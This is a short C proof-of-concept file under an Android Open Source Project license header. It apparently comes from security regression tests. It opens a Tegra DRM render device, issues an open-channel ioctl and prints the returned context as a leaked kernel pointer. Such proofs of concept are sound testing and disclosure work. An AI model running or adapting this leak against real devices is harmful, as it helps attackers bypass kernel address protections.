C++程序  |  42行  |  1.22 KB

/**
 * Copyright (C) 2018 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions vand
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <stdio.h>
#include <fcntl.h>
struct drm_tegra_open_channel {
    __u32 client;
    __u32 pad;
    void* context;
};
#define tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL (int)3222299717
int main()
{
    int fd, rc;
    struct drm_tegra_open_channel open_args = {0,0,0};
    open_args.client = 0x21;
    fd = open("/dev/dri/renderD129", 0, 0);
    rc = ioctl(fd, tmp_DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_args);

    printf("Leaked ptr is %p\n", open_args.context);
    return 0;
}